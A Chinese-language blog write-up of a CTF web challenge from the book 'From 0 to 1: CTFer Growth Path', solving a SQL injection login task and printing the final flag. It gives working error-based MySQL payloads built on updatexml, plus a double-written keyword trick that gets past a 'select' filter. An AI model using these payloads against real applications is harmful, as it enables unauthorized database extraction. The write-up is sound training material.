《從0到1:CTFer成長之路》題目-SQL隱碼攻擊-2

张伟文發表於2024-04-02

《從0到1:CTFer成長之路》題目

SQL隱碼攻擊-2:

題目型別:web

題目描述:開啟靶機,出現下面這種介面:

我們訪問login.php:

我們再訪問一下user.php:

解題方法:這裡我們知道login.php是一個後臺管理系統的登陸介面,user.php顯示的是一句話,看了一下user.php的原始碼並沒有發現什麼有用的資訊,根據題目意思是SQL隱碼攻擊,所以這裡我們關注一下login.php

這裡我們輸入萬能密碼來測試一下:

再試了一下其他的條件,發現就只有兩種報錯,沒有什麼可以注入的顯示位,然後我們檢視一下它的原始碼:

很驚奇的發現在原始碼中我們得到一段很有用的資訊:

然後使用burp發包,在url後面加入?tips = 1 開啟mysql的錯誤提示

這麼我們在name後面輸入1‘ 得到了報錯資訊,但是隻有報錯資訊,沒有什麼有用的回顯資訊,所以這裡我們使用報錯注入的方式:

updatexml(xml_doument,XPath_string,new_value)
第一個引數:XML_document是String格式,為XML文件物件的名稱,文中為Doc
第二個引數:XPath_string (Xpath格式的字串) ,如果不瞭解Xpath語法,可以在網上查詢教程。
第三個引數:new_value,String格式,替換查詢到的符合條件的資料

第一個引數:XML的內容
第二個引數:是需要update的位置XPATH路徑
第三個引數:是更新後的內容
所以第一和第三個引數可以隨便寫,只需要利用第二個引數,他會校驗你輸入的內容是否符合XPATH格式

我們構造payload來測試一下報錯注入是否可行:

1'and updatexml(1,concat(0x7e,(select 1),0x7e),1)--+

成功,說明這裡報錯注入可行,然後現在就可以爆出它的資料庫來:

報資料庫名:

1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

得到資料庫名

爆資料庫裡面的表名:

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='note'),0x7e),1)--+

報錯,沒有得到想要的資訊,但是我們這裡的SQL語句沒有問題,說明其中有關鍵字被過濾了,我們猜測是select,我們用大小寫或者雙寫來試著給他繞過一下

1' and updatexml(1,concat(0x7e,(seselectlect group_concat(table_name) from information_schema.tables where table_schema='note'),0x7e),1)--+

成功,說明select被過濾了,我們用雙寫來進行繞過

得到了它的兩個表名:fl4g和users ,這裡很明顯的發現我們的flag的資訊在fl4g表中

爆出fl4g表中的欄位名:

1' and updatexml(1,concat(0x7e,(seselectlect group_concat(column_name) from information_schema.columns where table_name='fl4g'),0x7e),1)--+

得到它的欄位名為flag

最後一步爆出flag的內容:

1' and updatexml(1,concat(0x7e,(seselectlect group_concat(flag) from fl4g),0x7e),1)--+

得到flag:

n1book{login_sqli_is_nice}

相關文章